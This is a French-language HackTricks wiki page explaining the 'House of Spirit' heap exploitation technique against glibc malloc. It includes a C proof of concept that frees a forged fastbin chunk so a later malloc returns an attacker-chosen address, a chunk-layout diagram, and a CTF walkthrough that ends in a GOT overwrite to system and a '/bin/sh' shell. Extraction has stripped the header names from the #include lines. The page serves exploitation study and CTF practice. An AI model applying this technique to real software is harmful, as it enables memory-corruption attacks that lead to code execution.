hacktricks/binary-exploitation/heap/house-of-spirit.md

6.5 KiB

Maison de l'Esprit

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Informations de base

Code

Maison de l'Esprit ```c #include #include #include #include

// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit

struct fast_chunk { size_t prev_size; size_t size; struct fast_chunk *fd; struct fast_chunk *bk; char buf[0x20]; // chunk falls in fastbin size range };

int main() { struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory void *ptr, *victim;

ptr = malloc(0x30);

printf("Original alloc address: %p\n", ptr); printf("Main fake chunk:%p\n", &fake_chunks[0]); printf("Second fake chunk for size: %p\n", &fake_chunks[1]);

// Passes size check of "free(): invalid size" fake_chunks[0].size = sizeof(struct fast_chunk);

// Passes "free(): invalid next size (fast)" fake_chunks[1].size = sizeof(struct fast_chunk);

// Attacker overwrites a pointer that is about to be 'freed' // Point to .fd as it's the start of the content of the chunk ptr = (void *)&fake_chunks[0].fd;

free(ptr);

victim = malloc(0x30); printf("Victim: %p\n", victim);

return 0; }

</details>

### Objectif

* Être capable d'ajouter une adresse dans le tcache / fast bin afin de pouvoir l'allouer ultérieurement

### Exigences

* Cette attaque nécessite qu'un attaquant soit capable de créer quelques faux chunks rapides indiquant correctement leur taille, puis de pouvoir libérer le premier faux chunk pour qu'il soit placé dans le bin.

### Attaque

* Créer des faux chunks qui contournent les vérifications de sécurité : vous aurez besoin de 2 faux chunks indiquant essentiellement dans les bonnes positions les bonnes tailles
* Trouver un moyen de libérer le premier faux chunk pour qu'il soit placé dans le fast ou le tcache bin, puis l'allouer pour écraser cette adresse

**Le code de** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house\_of\_spirit/house\_spirit\_exp/index.html) **est excellent pour comprendre l'attaque.** Bien que ce schéma du code la résume assez bien :
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64

+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size      | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content   | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size      | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content   | 0x00 |
+-------+---------------------+------+

for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/

{% hint style="info" %} Notez qu'il est nécessaire de créer le deuxième chunk afin de contourner certaines vérifications de cohérence. {% endhint %}

Exemples

  • CTF https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html
  • Libc infoleak: Via un débordement, il est possible de modifier un pointeur pour pointer vers une adresse GOT afin de divulguer une adresse libc via l'action de lecture du CTF.
  • House of Spirit: En abusant d'un compteur qui compte le nombre de "fusils", il est possible de générer une fausse taille du premier faux chunk, puis en abusant d'un "message", il est possible de falsifier la deuxième taille d'un chunk et enfin en abusant d'un débordement, il est possible de modifier un pointeur qui va être libéré pour que notre premier faux chunk soit libéré. Ensuite, nous pouvons l'allouer et à l'intérieur se trouvera l'adresse où est stocké le "message". Ensuite, il est possible de faire pointer cela vers l'entrée scanf dans la table GOT, afin que nous puissions le remplacer par l'adresse de system.
    La prochaine fois que scanf est appelé, nous pouvons envoyer l'entrée "/bin/sh" et obtenir un shell.

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks: